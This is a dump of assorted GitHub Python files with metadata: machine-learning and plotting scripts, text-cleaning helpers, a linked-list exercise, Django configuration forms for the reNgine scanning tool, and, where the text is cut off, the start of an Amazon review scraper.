save_dir='../tutorials/data/shapes_dataset')\n","repo_name":"srihari-humbarwadi/tf_cv_tutorials","sub_path":"tutorials/data/generate_shapes_dataset.py","file_name":"generate_shapes_dataset.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"41551673113","text":"import random\n\ndef GetFloat(data):\n li = []\n for i in data:\n li.append(float(i))\n return li\n\ndef Shuffler(data):\n li = list(range(0,len(data),1))\n for _ in range(1000):\n i,j = random.randint(0,len(data)-1) , random.randint(0,len(data)-1)\n li[i] , li[j] = li[j] , li[i]\n\n newdata = []\n for i in li:\n newdata.append(data[i])\n \n return newdata\n\ndef LineFunc(data,slope_m,constant_c):\n line = 0.0\n for i in range(len(slope_m)):\n line = line + slope_m[i] * data[i]\n return line + constant_c\n\ndef GradientDecent(TrainingSet,slope_m,constant_c):\n D_slope = [0.0,0.0,0.0,0.0,0.0,0.0]\n D_const = 0.0\n \n for data in TrainingSet:\n pred = LineFunc(data,slope_m,constant_c)\n for i in range(len(D_slope)):\n D_slope[i] = D_slope[i] + data[i] * (data[len(data)-1] - pred)\n D_const = D_const + data[len(data)-1] - pred\n\n D_const = (-1.0/len(TrainingSet))*D_const\n for i in range(len(D_slope)):\n D_slope[i] = (-1.0/len(TrainingSet))*D_slope[i]\n\n # print(D_slope)\n # print(D_const)\n return D_slope, D_const\n \ndef FindError(testset,slope,constant):\n error = 0\n for data in testset:\n error = error + (data[len(data)-1] - LineFunc(data,slope,constant))**2\n # print(error)\n error = error/(2.0*float(len(testset)))\n return error\n\n\nif __name__ == \"__main__\": \n dataset = []\n fileptr = open(\"Dataset-1.txt\",'r')\n for line in fileptr:\n data = line.split()\n data = GetFloat(data)\n # print(data)\n dataset.append(data)\n fileptr.close()\n\n # print(dataset[5])\n\n dataset = Shuffler(dataset)\n\n # fileptr = open(\"testfile.txt\",\"w\")\n # for i in dataset:\n # fileptr.write(str(i)+'\\n')\n # fileptr.close()\n\n trainset = dataset[0:200]\n testset = dataset[200:len(dataset)]\n\n slope_m = [0.0,0.0,0.0,0.0,0.0,0.0]\n constant_c = 0\n learning_step = 0.02\n \n for _ in range(10000):\n D_slope, D_const = GradientDecent(trainset,slope_m,constant_c)\n for i in range(len(slope_m)):\n slope_m[i] = slope_m[i] - learning_step*D_slope[i]\n constant_c = constant_c - learning_step*D_const\n \n error = FindError(trainset,slope_m,constant_c)\n print(\"Training set error:{}\".format(error))\n\n error = FindError(testset,slope_m,constant_c)\n print(\"Test set error:{}\".format(error))\n\n print(\"Slope:{}\".format(slope_m))\n print(\"constant:{}\".format(constant_c))\n","repo_name":"Blank-Zero/Machine-Learning-Assignments-IIITS-","sub_path":"Assignment-2/First.py","file_name":"First.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40001837680","text":"# -*- coding: UTF-8 -*-\n\nimport re\nimport unicodedata\nfrom html import unescape\nfrom urllib.parse import unquote\n\n\ndef is_whitespace(char):\n \"\"\"Checks whether `chars` is a whitespace character.\"\"\"\n # \\t, \\n, and \\r are technically control characters but we treat them\n # as whitespace since they are generally considered as such.\n if char in [\" \", \"\\t\", \"\\n\", \"\\r\"]:\n return True\n cat = unicodedata.category(char)\n if cat == \"Zs\":\n return True\n return False\n\n\ndef is_control(char):\n \"\"\"Checks whether `chars` is a control character.\"\"\"\n # These are technically control characters but we count them as whitespace characters.\n if char in [\"\\t\", \"\\n\", \"\\r\"]:\n return False\n cat = unicodedata.category(char)\n if cat.startswith(\"C\"):\n return True\n return False\n\n\ndef is_punctuation(char):\n \"\"\"Checks whether `chars` is a punctuation character.\"\"\"\n if char in [\"~\", \"¥\", \"×\"]:\n return True\n cp = ord(char)\n # We treat all non-letter/number ASCII as punctuation.\n # Characters such as \"^\", \"$\", and \"`\" are not in the Unicode\n # Punctuation class but we treat them as punctuation anyways, for\n # consistency.\n if 33 <= cp <= 47 or 58 <= cp <= 64 or 91 <= cp <= 96 or 123 <= cp <= 126:\n return True\n cat = unicodedata.category(char)\n if cat.startswith(\"P\"):\n return True\n return False\n\n\ndef is_chinese_char(char):\n \"\"\"Checks whether CP is the codepoint of a CJK character.\"\"\"\n # This defines a \"chinese character\" as anything in the CJK Unicode block:\n # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block)\n #\n # Note that the CJK Unicode block is NOT all Japanese and Korean characters,\n # despite its name. The modern Korean Hangul alphabet is a different block,\n # as is Japanese Hiragana and Katakana. Those alphabets are used to write\n # space-separated words, so they are not treated specially and handled\n # like the all of the other languages.\n cp = ord(char)\n if (0x4E00 <= cp <= 0x9FFF or\n 0x3400 <= cp <= 0x4DBF or\n 0x20000 <= cp <= 0x2A6DF or\n 0x2A700 <= cp <= 0x2B73F or\n 0x2B740 <= cp <= 0x2B81F or\n 0x2B820 <= cp <= 0x2CEAF or\n 0xF900 <= cp <= 0xFAFF or\n 0x2F800 <= cp <= 0x2FA1F):\n return True\n\n return False\n\n\ndef clean_text(text):\n # unescaped_text = unescape(text)\n # unquoted_text = unquote(unescaped_text, 'utf-8')\n output = []\n for char in text:\n cp = ord(char)\n if cp == 0 or cp == 0xfffd or is_control(char):\n continue\n if is_whitespace(char):\n output.append(\" \")\n # elif char in [\"–\"]:\n # output.append(\"-\")\n else:\n output.append(char)\n output_text = ''.join(output)\n # output_text = re.sub(r' {2,}', ' ', output_text).strip()\n return output_text\n","repo_name":"zycdev/AISO","sub_path":"text_clean.py","file_name":"text_clean.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"67"} +{"seq_id":"42358735051","text":"\"\"\"\nExample on how a 2D histogram may be plotted with matplotlib\n============================================================\n\nThe example is adapted from http://wiki.scipy.org/Cookbook/Histograms\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom random import gauss\nfrom pyhistogram import Hist\n\nh = Hist(40, -1, 1, 50, -1, 1)\nfor i in range(10000):\n h.fill(gauss(.6, .3), gauss(.6, .4))\n h.fill(gauss(-.6, .3), gauss(-.6, .4), weight=-1)\n\nH = h.get_content()\nx, y = h.Xaxis.get_bin_edges(), h.Yaxis.get_bin_edges()\nX, Y = np.meshgrid(x, y)\nfig = plt.figure()\n\nax = fig.add_subplot(111)\nax.set_title('2D histogram of two Gaussians')\n\n# H needs to be transposed!\nplt.pcolormesh(X, Y, H.T)\nax.set_ylim((y[0], y[-1]))\nax.set_aspect('auto')\n\n# Finally we add a color bar\ncax = fig.add_axes([0.1, 0.1, .95, .8])\ncax.get_xaxis().set_visible(False)\ncax.get_yaxis().set_visible(False)\ncax.patch.set_alpha(0)\ncax.set_frame_on(False)\nplt.colorbar(ax=cax)\nplt.show()\n","repo_name":"cbourjau/pyhistogram","sub_path":"examples/plot_2D_histogram.py","file_name":"plot_2D_histogram.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"19490563397","text":"import cv2\nimport mediapipe as mp\nimport numpy as np\n# initialize mediapipe pose solution\nmp_pose = mp.solutions.pose\nmp_draw = mp.solutions.drawing_utils\npose = mp_pose.Pose()\ncap = cv2.VideoCapture(\"2.mp4\")\ncodec = cv2.VideoWriter_fourcc(*\"MP4V\")\nfile_name = \"output.mp4\"\nframerate = cap.get(cv2.CAP_PROP_FPS)\nheight = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\nwidth = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nsize = (width, height)\nvideo_output = cv2.VideoWriter(file_name, codec, framerate, size, True)\nwhile True:\n ret, img = cap.read()\n results = pose.process(img)\n mp_draw.draw_landmarks(img, results.pose_landmarks, mp_pose.POSE_CONNECTIONS,\n mp_draw.DrawingSpec((255, 0, 0), 2, 2),\n mp_draw.DrawingSpec((255, 0, 255), 2, 2)\n )\n \n\n\n\n cv2.imshow(\"Pose Estimation\", img)\n ih, iw, ic =img.shape\n img_blank=np.zeros((ih,iw,3),np.uint8)\n img_blank.fill(255)\n\n mp_draw.draw_landmarks(img_blank, results.pose_landmarks, mp_pose.POSE_CONNECTIONS,\n mp_draw.DrawingSpec(color=(245,117,66), thickness=2, circle_radius=2),\n mp_draw.DrawingSpec(color=(245,66,230), thickness=2, circle_radius=2))\n \n # display extracted pose on blank images\n cv2.imshow(\"Extracted Pose\", img_blank)\n img_copy=np.zeros((ih,iw,3),np.uint8)\n img_copy.fill(255)\n mp_draw.draw_landmarks(img_copy, results.pose_landmarks, mp_pose.POSE_CONNECTIONS,\n mp_draw.DrawingSpec((255, 0, 0), 2, 2),\n mp_draw.DrawingSpec((255, 0, 255), 2, 2)\n )\n cv2.imshow(\"Extracted copy Pose\", img_copy)\n \n video_output.write(img_blank)\n # print all landmarks\n print(results.pose_landmarks)\n cv2.waitKey(1)\nvideo_output.release()\ncap.release() \n","repo_name":"bmox/pose-copy","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15785026525","text":"import sys, os\nimport su\nimport pickle\nimport logging\nimport cgi\nimport ryw, SearchFile, ryw_meta, ryw_view\nimport objectstore\nimport CreateNewThumbDir\n\n\ndef main():\n\n #\n # initialization businesses.\n #\n success,objID,version = CreateNewThumbDir.init(\n 'CreateNewExcerptDir: entered...',\n '<FONT SIZE=4>Creating new excerpt directory...</FONT><P>')\n if not success:\n sys.exit(1)\n\n #\n # get all the paths.\n #\n success,auxiURL,auxiDir = CreateNewThumbDir.get_paths(objID, version)\n if not success:\n sys.exit(1)\n\n #\n # create thumbnail directory.\n #\n success = CreateNewThumbDir.create_auxi_dir(\n auxiDir, 'excerpts',\n 'Excerpt directory created: ',\n 'Excerpt directory exists: ',\n 'Add arbitrary excerpt files into the directory.')\n if not success:\n sys.exit(1)\n \n\n #\n # create explorer strings.\n # \n CreateNewThumbDir.print_explorer_string(auxiURL,\n 'excerpts',\n 'excerpt directory')\n \n sys.exit(0)\n\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"aniket134/XBMC-video-plugins","sub_path":"Django3/Postmanet-2/Repository/cgi-bin/CreateNewExcerptDir.py","file_name":"CreateNewExcerptDir.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22996626150","text":"class Node:\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def treeToDoublyListInPlace(self,root: Node) -> Node:\n # In place solution.\n # Time Complexity : O(N)\n # Space Complexity : O(1)\n if not root:\n return\n def dfs(node):\n nonlocal head,tail\n if not node:\n return\n dfs(node.left)\n if tail:\n tail.right = node\n node.left = tail\n else:\n head = node\n tail = node\n dfs(node.right)\n\n head,tail = None,None\n\n dfs(root)\n head.left = tail\n tail.right = head\n\n return head\n\n\n def treeToDoublyList(self, root: 'Node') -> 'Node':\n # NOT in place involves creating a new linked list.\n # In place solution.\n # Time Complexity : O(N)\n # Space Complexity : O(N)\n if (root == None):\n return None\n\n def Prefix(root, res):\n if not root:\n return\n Prefix(root.left, res)\n res.append(root.val)\n Prefix(root.right, res)\n\n dummy_head = Node(0)\n dummy_tail = Node(0)\n current = dummy_head\n dummy_head.right = dummy_tail\n dummy_tail.left = dummy_head\n\n linear_tree = []\n Prefix(root, linear_tree)\n\n for num in linear_tree:\n temp = Node(num)\n temp.right = current.right\n current.right.left = temp\n current.right = temp\n temp.left = current\n current = current.right\n\n dummy_tail.left.right = dummy_head.right\n dummy_head.right.left = dummy_tail.left\n\n return dummy_head.right\n\nX = Solution()\nroot = Node(3)\nroot.left = Node(2)\nroot.left.left = Node(1)\nroot.right = Node(4)\nroot.right.right = Node(5)\n\ncurr = ans = X.treeToDoublyList(root)\n\nloop_print_counter = 0\nwhile(curr):\n print(curr.val)\n curr= curr.right\n if(curr==ans):\n break\nprint()\ncurr = ans = X.treeToDoublyListInPlace(root)\nloop_print_counter = 0\nwhile(curr):\n print(curr.val)\n curr= curr.right\n if(curr==ans):\n break\n\n\n\n\n","repo_name":"anugrah18/Leetcode_solutions","sub_path":"Linked List/426-ConvertBinarySearchTreeToSortedCircularDoubleLinkList.py","file_name":"426-ConvertBinarySearchTreeToSortedCircularDoubleLinkList.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8300948953","text":"#!/usr/bin/env python3\n\"\"\"Example command for lineage test\n\"\"\"\nimport sys\nimport argparse\nimport os\nfrom os.path import abspath, expanduser, join\nimport random\nimport datetime\n\nfrom dataworkspaces.lineage import LineageBuilder, CmdLineParameter,\\\n add_lineage_parameters_to_arg_parser, get_lineage_parameter_values,\\\n ResourceRef\n\nPARAMS = [\n CmdLineParameter(name='size', default=50, type=int,\n help=\"the size\")\n]\n\nBASE_DIR=abspath(expanduser(\".\")) # run from within workspace\n\ndef main(argv=sys.argv[1:]):\n print(\"Running step2\")\n parser = argparse.ArgumentParser(\"Lineage step 2\")\n parser.add_argument('--fail', action='store_true', default=False,\n help=\"If specified, fail the step\")\n add_lineage_parameters_to_arg_parser(parser, PARAMS)\n parser.add_argument('test_case', metavar='TEST_CASE')\n args = parser.parse_args(argv)\n with LineageBuilder().as_script_step()\\\n .with_parameters(get_lineage_parameter_values(PARAMS,args))\\\n .with_input_ref(ResourceRef('intermediate-data', 's1'))\\\n .eval()\\\n as lineage:\n lineage.add_output_path(join(BASE_DIR, 'results'))\n if args.fail:\n raise Exception(\"Failing this step\")\n else:\n with open(join(BASE_DIR, 'results/results.txt'), 'w') as f:\n f.write('name,time,value1\\n')\n f.write('r1,%s,%s\\n' % (datetime.datetime.now().isoformat(),\n random.random()))\n with open(join(BASE_DIR, 'results/test_case.txt'), 'w') as f:\n f.write(args.test_case)\n\n print(\"finished lineage step 2\")\n return 0\n\nif __name__=='__main__':\n sys.exit(main())\n","repo_name":"data-workspaces/data-workspaces-core","sub_path":"tests/lineage_step2.py","file_name":"lineage_step2.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"38577547237","text":"from django import forms\nfrom scanEngine.models import *\nfrom django_ace import AceWidget\nfrom reNgine.validators import validate_short_name\n\n\nclass AddEngineForm(forms.ModelForm):\n class Meta:\n model = EngineType\n fields = '__all__'\n engine_name = forms.CharField(\n required=True,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"scan_engine_name\",\n \"placeholder\": \"Custom Engine\"}))\n subdomain_discovery = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={\"checked\": \"\"}))\n screenshot = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={\"checked\": \"\"}))\n dir_file_search = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={}))\n port_scan = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={}))\n fetch_url = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={\"checked\": \"\"}))\n vulnerability_scan = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={\"checked\": \"\"}))\n osint = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(attrs={\"checked\": \"\"}))\n yaml_configuration = forms.CharField(widget=AceWidget(\n mode=\"yaml\",\n theme=\"monokai\",\n width=\"100%\",\n height=\"450px\",\n tabsize=4,\n fontsize=13,\n toolbar=True,\n attrs={\"id\": \"editor\", \"value\": \"ok\"}))\n\n\nclass UpdateEngineForm(forms.ModelForm):\n class Meta:\n model = EngineType\n fields = '__all__'\n engine_name = forms.CharField(\n required=True,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"scan_engine_name\",\n \"placeholder\": \"Custom Engine\"}))\n subdomain_discovery = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n screenshot = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n dir_file_search = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n port_scan = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n fetch_url = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n vulnerability_scan = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n osint = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput())\n yaml_configuration = forms.CharField(widget=AceWidget(\n mode=\"yaml\",\n theme=\"monokai\",\n width=\"100%\",\n height=\"450px\",\n tabsize=4,\n fontsize=13,\n toolbar=True,))\n\n def set_value(self, engine):\n self.initial['engine_name'] = engine.engine_name\n self.initial['subdomain_discovery'] = engine.subdomain_discovery\n self.initial['dir_file_search'] = engine.dir_file_search\n self.initial['port_scan'] = engine.port_scan\n self.initial['fetch_url'] = engine.fetch_url\n self.initial['yaml_configuration'] = engine.yaml_configuration\n self.initial['vulnerability_scan'] = engine.vulnerability_scan\n self.initial['osint'] = engine.osint\n self.initial['screenshot'] = engine.screenshot\n\n\nclass AddWordlistForm(forms.Form):\n name = forms.CharField(\n required=True,\n widget=forms.TextInput(\n attrs={'class': 'form-control',\n 'id': 'name',\n 'placeholder': 'my awesome wordlist', }))\n short_name = forms.CharField(\n required=True,\n validators=[validate_short_name],\n widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'id': 'short_name',\n 'placeholder': 'my_awesome_wordlist', }))\n upload_file = forms.FileField(\n required=True,\n widget=forms.FileInput(\n attrs={'class': 'custom-file-input',\n 'id': 'txtFile',\n 'multiple': '',\n 'accept': '.txt', }))\n\n\nclass ConfigurationForm(forms.ModelForm):\n class Meta:\n model = Configuration\n fields = '__all__'\n name = forms.CharField(\n required=True,\n widget=forms.TextInput(\n attrs={'class': 'form-control',\n 'id': 'name',\n 'placeholder': 'Configuration Name', }))\n short_name = forms.CharField(\n required=True,\n validators=[validate_short_name],\n widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'id': 'short_name',\n 'placeholder': 'my_awesome_configuration', }))\n content = forms.CharField(widget=AceWidget(\n mode=\"text\",\n theme=\"monokai\",\n width=\"100%\",\n height=\"450px\",\n tabsize=4,\n fontsize=13,\n toolbar=True,))\n\n def set_value(self, configuration):\n self.initial['name'] = configuration.name\n self.initial['short_name'] = configuration.short_name\n self.initial['content'] = configuration.content\n\n\nclass InterestingLookupForm(forms.ModelForm):\n class Meta:\n model = InterestingLookupModel\n fields = '__all__'\n keywords = forms.CharField(\n required=False,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"keywords\",\n \"placeholder\": \"Interesting Keywords\",\n }))\n\n custom_type = forms.BooleanField(\n required=False,\n widget=forms.HiddenInput(\n attrs={\n \"value\": 'true'\n }))\n\n title_lookup = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n }))\n\n url_lookup = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n }))\n\n condition_200_http_lookup = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n }))\n\n def set_value(self, key):\n print(key.url_lookup)\n self.initial['keywords'] = key.keywords\n self.initial['title_lookup'] = key.title_lookup\n self.initial['url_lookup'] = key.url_lookup\n self.initial['condition_200_http_lookup'] = key.condition_200_http_lookup\n\n def initial_checkbox(self):\n self.initial['title_lookup'] = True\n self.initial['url_lookup'] = True\n self.initial['condition_200_http_lookup'] = False\n\n\nclass NotificationForm(forms.ModelForm):\n class Meta:\n model = Notification\n fields = '__all__'\n\n send_to_slack = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"slack_checkbox\",\n }))\n\n slack_hook_url = forms.CharField(\n required=False,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"slack_hook_url\",\n \"placeholder\": \"https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\",\n }))\n\n send_to_discord = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"discord_checkbox\",\n }))\n\n discord_hook_url = forms.CharField(\n required=False,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"discord_hook_url\",\n \"placeholder\": \"https://discord.com/api/webhooks/000000000000000000/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n }))\n\n send_to_telegram = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"telegram_checkbox\",\n }))\n\n telegram_bot_token = forms.CharField(\n required=False,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"telegram_bot_token\",\n \"placeholder\": \"Bot Token\",\n }))\n\n telegram_bot_chat_id = forms.CharField(\n required=False,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"telegram_bot_chat_id\",\n \"placeholder\": \"Bot Chat ID\",\n }))\n\n send_scan_status_notif = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"custom-control-input\",\n \"id\": \"send_scan_status_notif\",\n }))\n\n send_interesting_notif = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"custom-control-input\",\n \"id\": \"send_interesting_notif\",\n }))\n\n\n send_vuln_notif = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"custom-control-input\",\n \"id\": \"send_vuln_notif\",\n }))\n\n\n send_subdomain_changes_notif = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"custom-control-input\",\n \"id\": \"send_subdomain_changes_notif\",\n }))\n\n\n send_scan_output_file = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"custom-control-input\",\n \"id\": \"send_scan_output_file\",\n }))\n\n\n def set_value(self, key):\n self.initial['send_to_slack'] = key.send_to_slack\n self.initial['send_to_discord'] = key.send_to_discord\n self.initial['send_to_telegram'] = key.send_to_telegram\n\n self.initial['slack_hook_url'] = key.slack_hook_url\n self.initial['discord_hook_url'] = key.discord_hook_url\n self.initial['telegram_bot_token'] = key.telegram_bot_token\n self.initial['telegram_bot_chat_id'] = key.telegram_bot_chat_id\n\n self.initial['send_scan_status_notif'] = key.send_scan_status_notif\n self.initial['send_interesting_notif'] = key.send_interesting_notif\n self.initial['send_vuln_notif'] = key.send_vuln_notif\n self.initial['send_subdomain_changes_notif'] = key.send_subdomain_changes_notif\n\n self.initial['send_scan_output_file'] = key.send_scan_output_file\n\n if not key.send_to_slack:\n self.fields['slack_hook_url'].widget.attrs['readonly'] = True\n if not key.send_to_discord:\n self.fields['discord_hook_url'].widget.attrs['readonly'] = True\n if not key.send_to_telegram:\n self.fields['telegram_bot_token'].widget.attrs['readonly'] = True\n self.fields['telegram_bot_chat_id'].widget.attrs['readonly'] = True\n\n\n def set_initial(self):\n self.initial['send_to_slack'] = False\n self.initial['send_to_discord'] = False\n self.initial['send_to_telegram'] = False\n\n self.fields['slack_hook_url'].widget.attrs['readonly'] = True\n self.fields['discord_hook_url'].widget.attrs['readonly'] = True\n self.fields['telegram_bot_token'].widget.attrs['readonly'] = True\n self.fields['telegram_bot_chat_id'].widget.attrs['readonly'] = True\n\n self.initial['send_scan_status_notif'] = True\n self.initial['send_interesting_notif'] = True\n self.initial['send_vuln_notif'] = True\n self.initial['send_subdomain_changes_notif'] = True\n\n self.initial['send_scan_output_file'] = True\n\n\nclass ProxyForm(forms.ModelForm):\n class Meta:\n model = Proxy\n fields = '__all__'\n\n use_proxy = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"use_proxy\",\n }))\n\n proxies = forms.CharField(\n required=False,\n widget=forms.Textarea(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"proxies\",\n \"rows\": \"10\",\n \"spellcheck\": \"false\",\n \"placeholder\": \"http://username:password@proxyip.com:port\",\n }))\n\n def set_value(self, key):\n self.initial['use_proxy'] = key.use_proxy\n self.initial['proxies'] = key.proxies\n\n if not key.use_proxy:\n self.fields['proxies'].widget.attrs['readonly'] = True\n\n def set_initial(self):\n self.initial['use_proxy'] = False\n self.fields['proxies'].widget.attrs['readonly'] = True\n\n\nclass HackeroneForm(forms.ModelForm):\n class Meta:\n model = Hackerone\n fields = '__all__'\n\n username = forms.CharField(\n required=True,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"username\",\n \"placeholder\": \"Your Hackerone Username\",\n }))\n\n api_key = forms.CharField(\n required=True,\n widget=forms.TextInput(\n attrs={\n \"class\": \"form-control\",\n \"id\": \"api_key\",\n \"placeholder\": \"Hackerone API Token\",\n }))\n\n send_critical = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"send_critical\",\n }))\n\n send_high = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"send_high\",\n }))\n\n send_medium = forms.BooleanField(\n required=False,\n widget=forms.CheckboxInput(\n attrs={\n \"class\": \"new-control-input\",\n \"id\": \"send_medium\",\n }))\n\n report_template = forms.CharField(\n required=False,\n widget=forms.Textarea(\n attrs={\n \"id\": \"vulnerability-report-template\"\n }))\n\n def set_value(self, key):\n self.initial['username'] = key.username\n self.initial['api_key'] = key.api_key\n\n self.initial['send_critical'] = key.send_critical\n self.initial['send_high'] = key.send_high\n self.initial['send_medium'] = key.send_medium\n\n self.initial['report_template'] = key.report_template\n\n def set_initial(self):\n self.initial['send_critical'] = True\n self.initial['send_high'] = True\n self.initial['send_medium'] = False\n\n self.initial['report_template'] = '''Hi Team, while testing, a {vulnerability_severity} severity vulnerability has been discovered in {vulnerable_url} and below is the findings.\n\n# Vulnerability\n{vulnerability_name}\n\n## Issue Description\n{vulnerability_description}\n\n## Vulnerable URL\n- {vulnerable_url}\n\n## Extracted Results/Findings\n{vulnerability_extracted_results}\n\n## References\n- {vulnerability_reference}\n\nThank you'''\n","repo_name":"webexplo1t/rengine","sub_path":"web/scanEngine/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":15524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71760317655","text":"from .script_handler import ScriptHandler\n\nscript_handlers: list[ScriptHandler] = []\n\n\ndef register_handler(handler_class):\n \"\"\"A decorator that registers a class as a script handler.\"\"\"\n handler_instance = handler_class()\n script_handlers.append(handler_instance)\n return handler_class\n","repo_name":"hd-genius/runr","sub_path":"runr/api/register_handler.py","file_name":"register_handler.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27129819077","text":"import unittest\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport time\r\n\r\n\r\nclass PythonOrgSearch(unittest.TestCase):\r\n\r\n def get_soup(self, url):\r\n \"\"\"\r\n Given the url of a page, this function returns the soup object.\r\n Parameters:\r\n url: the link to get soup object for\r\n Returns:\r\n soup: soup object\r\n \"\"\"\r\n driver = webdriver.Chrome(\"./chromedriver\")\r\n driver.get(url)\r\n time.sleep(3)\r\n html = driver.page_source\r\n soup = BeautifulSoup(html, 'html.parser')\r\n driver.close()\r\n return soup\r\n\r\n def test_search_in_python_org(self):\r\n\r\n self.options = webdriver.ChromeOptions()\r\n options = self.options\r\n\r\n reviews_dict = {'text': [], 'date': [], 'name': [], 'profile_link': [], 'helpful_votes': [],\r\n 'reviews_count': [], 'hearts': [], 'idea_lists': []}\r\n url_prefix = 'https://www.amazon.com'\r\n total_reviews_count = 0\r\n start = time.time()\r\n\r\n for i in range(1, 2):\r\n samsung_url = 'https://www.amazon.com/product-reviews/B08C35KLKK/ref=cm_cr_arp_d_viewopt_sr?ie=UTF8&filterByStar=all_stars&reviewerType=all_reviews&pageNumber=' + str(\r\n i) + '#reviews-filter-bar'\r\n iphone_url = 'https://www.amazon.com/product-reviews/B01NAW98VS/ref=cm_cr_arp_d_viewopt_sr?ie=UTF8&filterByStar=all_stars&reviewerType=all_reviews&pageNumber=' + str(\r\n i) + '#reviews-filter-bar'\r\n soup = self.get_soup(samsung_url)\r\n\r\n # find review blocks\r\n review_block = soup.findAll(\"div\", attrs={'class': 'a-section celwidget'})\r\n print('Get total ' + str(len(review_block)) + ' in ' + str(i) + ' page')\r\n total_reviews_count += len(review_block)\r\n\r\n for j in review_block:\r\n text = j.find(\"span\", attrs={'data-hook': 'review-body'}).text.replace('\\n', '').strip()\r\n length = len(text.split())\r\n\r\n if (length > 50):\r\n\r\n date = j.find('span', attrs={'data-hook': 'review-date'}).text\r\n name = j.find('span', attrs={'class': 'a-profile-name'}).text\r\n profile_link = j.find('a').attrs['href']\r\n reviews_dict['text'].append(text)\r\n reviews_dict['date'].append(date.split('on')[1]) # remove the first part \"Reviewed in the United States on\" and only keep date\r\n reviews_dict['name'].append(name)\r\n hyperLink = 